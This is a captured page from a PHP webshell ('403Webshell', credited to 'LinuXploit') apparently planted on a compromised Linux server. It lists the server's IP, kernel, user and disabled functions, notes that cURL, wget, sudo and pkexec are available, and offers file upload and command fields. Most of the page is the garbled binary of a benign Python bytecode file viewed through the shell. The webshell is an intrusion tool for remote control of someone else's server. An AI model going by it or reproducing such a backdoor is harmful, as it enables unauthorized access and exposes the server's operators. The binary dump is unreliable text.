403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/gi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python2.7/site-packages/gi/docstring.pyo
�
�Zc@siddlmZmZmZmZmZmZmZd	a	d�Z
d�Zd�Zie
ej6eej6eej6eej6eej6eej6eej6eej6eej6eej6eej6eej6eej6eej6eej 6e!ej"6e!ej#6e!ej$6d	ej%6d	ej&6d	ej'6d	ej(6Z)d�Z*d�Z+d�Z,d�Z-e
e-�d	S(
i(t	VFuncInfotFunctionInfotCallableInfot
ObjectInfot
StructInfot	DirectiontTypeTagcCs
|adS(s�Set doc string generator function

    :param callable func:
        Callable which takes a GIInfoStruct and returns documentation for it.
    N(t_generate_doc_string_func(tfunc((s2/usr/lib64/python2.7/site-packages/gi/docstring.pytset_doc_string_generator%scCstS(s6Returns the currently registered doc string generator.(R(((s2/usr/lib64/python2.7/site-packages/gi/docstring.pytget_doc_string_generator/scCs
t|�S(sEGenerate a doc string given a GIInfoStruct.

    :param gi.types.BaseInfo info:
        GI info instance to generate documentation for.
    :returns:
        Generated documentation as a string.
    :rtype: str

    This passes the info struct to the currently registered doc string
    generator and returns the result.
    (R(tinfo((s2/usr/lib64/python2.7/site-packages/gi/docstring.pytgenerate_doc_string4scCs�|j�}tj|d�}|r:t|d�r:|jS|tjkr�|j�}|j	�}|sq|j
�Sd|j�|fS|j
�S(Nt__name__s%s.%s(tget_tagt_type_tag_to_py_typetgettNonethasattrR
Rt	INTERFACEt
get_interfacetget_nametget_tag_as_stringt
get_namespace(tgi_typettype_tagtpy_typetifacet	info_name((s2/usr/lib64/python2.7/site-packages/gi/docstring.pyt_get_pytype_hint\s
c
Cs�g}t|t�r!dg}n*t|t�rK|j�rKdg}qKn|j�}d
}t�}t�}xM|D]E}|j|j��|j|j�j	��|j|j
��qvWx�t|�D]�\}}|j�t
jkr�q�n||krq�n|j�}t|j��}	|	|kr@|d|	7}n|j�sX||kre|d7}n|j�r~|d7}n|j|�q�Wdj|�}
g}t|j��}|j�r|r||kr|}|j�r�|d7}n|j|�nx�t|�D]�\}}|j�t
jkr8qn||krJqn|j�}t|j��}	|	|kr�|d|	7}n|j|�qW|r�d|j|
dj|�fSd	|j|
fSdS(Ntselftvoidt:s=Nones=<optional>s, s or Nones%s(%s) -> %ss%s(%s)(svoid(t
isinstanceRRt	is_methodt
get_argumentstsettaddtget_destroytget_typetget_array_lengthtget_closuret	enumeratet
get_directionRtOUTRRtmay_be_nulltis_optionaltappendtjointget_return_typetskip_returntmay_return_nulltINR
(
Rtin_args_strstargsthint_blacklisttignore_indicestuser_data_indicestargtitargstrthinttin_args_strt
out_args_strstreturn_hint((s2/usr/lib64/python2.7/site-packages/gi/docstring.pyt_generate_callable_info_docnsb		



cCs�d}d}t|t�rK|j�dkrc|d|j�d7}qcn|d|j�d7}x;|j�D]-}|j�rp|dt|�d7}qpqpW|r�||SdSdS(Ns
:Constructors:

::

tis    s()
s(**properties)
s
(R!Rtget_sizeRtget_methodstis_constructorRA(Rtheadertdoctmethod_info((s2/usr/lib64/python2.7/site-packages/gi/docstring.pyt_generate_class_info_doc�scCs<t|ttf�rt|�St|t�r8t|�SdS(NRB(R!RRRIRRA(R((s2/usr/lib64/python2.7/site-packages/gi/docstring.pyt_generate_doc_dispatch�s


N(.t_giRRRRRRRRRR	R
RtbooltBOOLEANtinttINT8tUINT8tINT16tUINT16tINT32tUINT32tINT64tUINT64tfloattFLOATtDOUBLEtlisttGLISTtGSLISTtARRAYtdicttGHASHtstrtUTF8tFILENAMEtUNICHARRtGTYPEtERRORtVOIDRRRARIRJ(((s2/usr/lib64/python2.7/site-packages/gi/docstring.pyt<module>s>4	
		





















		@		

Youez - 2016 - github.com/yon3zu
LinuXploit